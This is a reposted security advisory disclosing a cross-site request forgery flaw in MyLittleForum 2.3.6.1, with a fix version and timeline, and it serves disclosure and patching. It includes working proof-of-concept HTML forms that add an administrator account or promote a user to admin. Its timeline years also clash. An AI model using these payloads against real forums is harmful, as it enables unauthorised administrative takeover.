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MyLittleForum 2.3.6.1 Cross Site Request Forgery

🗓️ 18 Nov 2016 00:00:00Reported by Tim CoenType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 58 Views

MyLittleForum 2.3.6.1 Cross Site Request Forgery vulnerability in PHP softwar

Code
`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: MyLittleForum 2.3.6.1  
Fixed in: 2.3.7beta  
Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/  
v2.3.7beta  
Vendor Website: http://mylittleforum.net/  
Vulnerability Type: CSRF  
Remote Exploitable: Yes  
Reported to vendor: 09/05/2016  
Disclosed to 11/10/2016  
public:  
Release mode: Coordinated Release  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is  
vulnerable to cross site request forgery. An attacker could exploit this issue  
to add new users or change the status of existing users to administrator if a  
victim visits a website containing a specifically crafted payload while logged  
into MyLittleForum.  
  
3. Details  
  
CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P  
  
Description: There is no CSRF protection, allowing an attacker to perform  
actions for a victim if the victim visits an attacker controlled website while  
logged in.  
  
Proof of Concept:  
  
Add New User: <html> <body> <form action="http://localhost/  
mylittleforum-2.3.6.1/index.php" method="POST"> <input type="hidden" name=  
"mode" value="admin" /> <input type="hidden" name="ar_username" value="admin2"  
/> <input type="hidden" name="ar_email" value="[email protected]" /> <input  
type="hidden" name="ar_pw" value="admin" /> <input type="hidden" name=  
"ar_pw_conf" value="admin" /> <input type="hidden" name="register_submit" value  
="i?1/2A OKi?1/2A " /> <input type="submit" value="Submit request" /> </form> </body> </  
html> Make Existing User Admin: <html> <body> <input type="hidden" name="mode"  
value="admin" /> <input type="hidden" name="edit_user_id" value="2" /> <input  
type="hidden" name="edit_user_name" value="foo" /> <input type="hidden" name=  
"edit_user_type" value="2" /> <input type="hidden" name="user_email" value=  
"[email protected]" /> <input type="hidden" name="user_hp" value="" /> <input  
type="hidden" name="user_real_name" value="" /> <input type="hidden" name=  
"user_birthday" value="1912-12-12" /> <input type="hidden" name="user_location"  
value="" /> <input type="hidden" name="profile" value="" /> <input type=  
"hidden" name="signature" value="" /> <input type="hidden" name="user_language"  
value="" /> <input type="hidden" name="user_time_zone" value="" /> <input type=  
"hidden" name="user_time_difference" value="0" /> <input type="hidden" name=  
"edit_user_submit" value="OK - Save" /> <input type="submit" value="Submit  
request" /> </form> </body> </html>  
  
4. Solution  
  
To mitigate this issue please upgrade at least to version 2.3.7beta:  
  
https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta  
  
Please note that a newer version might already be available.  
  
5. Report Timeline  
  
09/05/2015 Informed Vendor about Issue (no reply)  
09/15/2015 Reminded Vendor of Disclosure Date  
09/15/2015 Vendor replies  
10/04/2015 Vendor releases fix  
11/10/2016 Disclosed to public  
  
  
Blog Reference:  
https://www.curesec.com/blog/article/blog/MyLittleForum-2361-CSRF-176.html  
  
--  
blog: https://www.curesec.com/blog  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Josef-Orlopp-StraAe 54  
10365 Berlin, Germany  
  
  
`

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